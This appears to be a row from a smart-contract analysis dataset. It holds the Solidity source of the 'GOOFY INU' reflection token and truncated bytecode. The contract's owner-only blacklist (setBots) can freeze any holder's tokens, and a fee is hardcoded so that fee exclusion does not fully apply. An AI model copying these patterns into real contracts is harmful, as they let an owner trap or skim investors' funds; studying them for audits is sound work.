address
stringlengths
42
42
source_code
stringlengths
6.9k
125k
bytecode
stringlengths
2
49k
slither
stringclasses
664 values
id
int64
0
10.7k
0x36e0e35fdd5afdf8942a78266ec2d571239f79a7
/** *Submitted for verification at Etherscan.io on 2021-11-13 */ // telegram : t.me/GoofyInuE // Twitter: https://twitter.com/Goofy_Inu // website : https://goofyinu.top/ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract GOOFYINU is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = " GOOFY INU "; string private constant _symbol = " GI "; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 2; uint256 private _teamFee = 3; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1) { _teamAddress = addr1; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 2; _teamFee = 3; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (60 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = false; _maxTxAmount = 50000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, 5); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612782565b60405180910390f35b34801561015057600080fd5b5061016b6004803603810190610166919061284c565b61045e565b60405161017891906128a7565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a391906128d1565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906128ec565b61048d565b6040516101e091906128a7565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b919061293f565b610566565b005b34801561021e57600080fd5b50610227610656565b6040516102349190612988565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f91906129cf565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f919061293f565b610783565b6040516102b191906128d1565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612a0b565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612782565b60405180910390f35b34801561033357600080fd5b5061034e6004803603810190610349919061284c565b61098d565b60405161035b91906128a7565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612b6e565b6109ab565b005b34801561039957600080fd5b506103a2610ad5565b005b3480156103b057600080fd5b506103b9610b4f565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612bb7565b6110ac565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612be4565b6111f5565b60405161041891906128d1565b60405180910390f35b60606040518060400160405280600b81526020017f20474f4f465920494e5520000000000000000000000000000000000000000000815250905090565b600061047261046b61127c565b8484611284565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a84848461144f565b61055b846104a661127c565b6105568560405180606001604052806028815260200161372660289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c61127c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c0e9092919063ffffffff16565b611284565b600190509392505050565b61056e61127c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612c70565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61066761127c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612c70565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661075261127c565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c72565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cde565b9050919050565b6107dc61127c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612c70565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f2047492000000000000000000000000000000000000000000000000000000000815250905090565b60006109a161099a61127c565b848461144f565b6001905092915050565b6109b361127c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612c70565b60405180910390fd5b60005b8151811015610ad1576001600a6000848481518110610a6557610a64612c90565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610ac990612cee565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b1661127c565b73ffffffffffffffffffffffffffffffffffffffff1614610b3657600080fd5b6000610b4130610783565b9050610b4c81611d4c565b50565b610b5761127c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610be4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bdb90612c70565b60405180910390fd5b600e60149054906101000a900460ff1615610c34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2b90612d83565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cc430600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea00000611284565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d0a57600080fd5b505afa158015610d1e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d429190612db8565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610da457600080fd5b505afa158015610db8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ddc9190612db8565b6040518363ffffffff1660e01b8152600401610df9929190612de5565b602060405180830381600087803b158015610e1357600080fd5b505af1158015610e27573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e4b9190612db8565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ed430610783565b600080610edf610927565b426040518863ffffffff1660e01b8152600401610f0196959493929190612e53565b6060604051808303818588803b158015610f1a57600080fd5b505af1158015610f2e573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f539190612ec9565b5050506001600e60166101000a81548160ff0219169083151502179055506000600e60176101000a81548160ff0219169083151502179055506802b5e3af16b1880000600f819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611056929190612f1c565b602060405180830381600087803b15801561107057600080fd5b505af1158015611084573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110a89190612f5a565b5050565b6110b461127c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611141576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113890612c70565b60405180910390fd5b60008111611184576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117b90612fd3565b60405180910390fd5b6111b360646111a583683635c9adc5dea00000611fd490919063ffffffff16565b61204f90919063ffffffff16565b600f819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf600f546040516111ea91906128d1565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112eb90613065565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611364576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135b906130f7565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161144291906128d1565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b690613189565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561152f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115269061321b565b60405180910390fd5b60008111611572576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611569906132ad565b60405180910390fd5b61157a610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115e857506115b8610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b4b57600e60179054906101000a900460ff161561181b573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561166a57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116c45750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561171e5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561181a57600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661176461127c565b73ffffffffffffffffffffffffffffffffffffffff1614806117da5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117c261127c565b73ffffffffffffffffffffffffffffffffffffffff16145b611819576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161181090613319565b60405180910390fd5b5b5b600f5481111561182a57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118ce5750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118d757600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119825750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119d85750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119f05750600e60179054906101000a900460ff165b15611a915742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a4057600080fd5b603c42611a4d9190613339565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611a9c30610783565b9050600e60159054906101000a900460ff16158015611b095750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b215750600e60169054906101000a900460ff165b15611b4957611b2f81611d4c565b60004790506000811115611b4757611b4647611c72565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611bf25750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611bfc57600090505b611c0884848484612099565b50505050565b6000838311158290611c56576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c4d9190612782565b60405180910390fd5b5060008385611c65919061338f565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611cda573d6000803e3d6000fd5b5050565b6000600654821115611d25576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d1c90613435565b60405180910390fd5b6000611d2f6120c6565b9050611d44818461204f90919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611d8457611d83612a2b565b5b604051908082528060200260200182016040528015611db25781602001602082028036833780820191505090505b5090503081600081518110611dca57611dc9612c90565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611e6c57600080fd5b505afa158015611e80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ea49190612db8565b81600181518110611eb857611eb7612c90565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f1f30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611284565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611f83959493929190613513565b600060405180830381600087803b158015611f9d57600080fd5b505af1158015611fb1573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b600080831415611fe75760009050612049565b60008284611ff5919061356d565b905082848261200491906135f6565b14612044576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161203b90613699565b60405180910390fd5b809150505b92915050565b600061209183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506120f1565b905092915050565b806120a7576120a6612154565b5b6120b2848484612185565b806120c0576120bf612350565b5b50505050565b60008060006120d3612362565b915091506120ea818361204f90919063ffffffff16565b9250505090565b60008083118290612138576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161212f9190612782565b60405180910390fd5b506000838561214791906135f6565b9050809150509392505050565b600060085414801561216857506000600954145b1561217257612183565b600060088190555060006009819055505b565b600080600080600080612197876123c4565b9550955095509550955095506121f586600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461242b90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061228a85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461247590919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122d6816124d3565b6122e08483612590565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161233d91906128d1565b60405180910390a3505050505050505050565b60026008819055506003600981905550565b600080600060065490506000683635c9adc5dea000009050612398683635c9adc5dea0000060065461204f90919063ffffffff16565b8210156123b757600654683635c9adc5dea000009350935050506123c0565b81819350935050505b9091565b60008060008060008060008060006123e08a60085460056125ca565b92509250925060006123f06120c6565b905060008060006124038e878787612660565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061246d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c0e565b905092915050565b60008082846124849190613339565b9050838110156124c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124c090613705565b60405180910390fd5b8091505092915050565b60006124dd6120c6565b905060006124f48284611fd490919063ffffffff16565b905061254881600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461247590919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6125a58260065461242b90919063ffffffff16565b6006819055506125c08160075461247590919063ffffffff16565b6007819055505050565b6000806000806125f660646125e8888a611fd490919063ffffffff16565b61204f90919063ffffffff16565b905060006126206064612612888b611fd490919063ffffffff16565b61204f90919063ffffffff16565b905060006126498261263b858c61242b90919063ffffffff16565b61242b90919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126798589611fd490919063ffffffff16565b905060006126908689611fd490919063ffffffff16565b905060006126a78789611fd490919063ffffffff16565b905060006126d0826126c2858761242b90919063ffffffff16565b61242b90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612723578082015181840152602081019050612708565b83811115612732576000848401525b50505050565b6000601f19601f8301169050919050565b6000612754826126e9565b61275e81856126f4565b935061276e818560208601612705565b61277781612738565b840191505092915050565b6000602082019050818103600083015261279c8184612749565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006127e3826127b8565b9050919050565b6127f3816127d8565b81146127fe57600080fd5b50565b600081359050612810816127ea565b92915050565b6000819050919050565b61282981612816565b811461283457600080fd5b50565b60008135905061284681612820565b92915050565b60008060408385031215612863576128626127ae565b5b600061287185828601612801565b925050602061288285828601612837565b9150509250929050565b60008115159050919050565b6128a18161288c565b82525050565b60006020820190506128bc6000830184612898565b92915050565b6128cb81612816565b82525050565b60006020820190506128e660008301846128c2565b92915050565b600080600060608486031215612905576129046127ae565b5b600061291386828701612801565b935050602061292486828701612801565b925050604061293586828701612837565b9150509250925092565b600060208284031215612955576129546127ae565b5b600061296384828501612801565b91505092915050565b600060ff82169050919050565b6129828161296c565b82525050565b600060208201905061299d6000830184612979565b92915050565b6129ac8161288c565b81146129b757600080fd5b50565b6000813590506129c9816129a3565b92915050565b6000602082840312156129e5576129e46127ae565b5b60006129f3848285016129ba565b91505092915050565b612a05816127d8565b82525050565b6000602082019050612a2060008301846129fc565b92915050565b600080fd5b7f4e487b7100000000000000000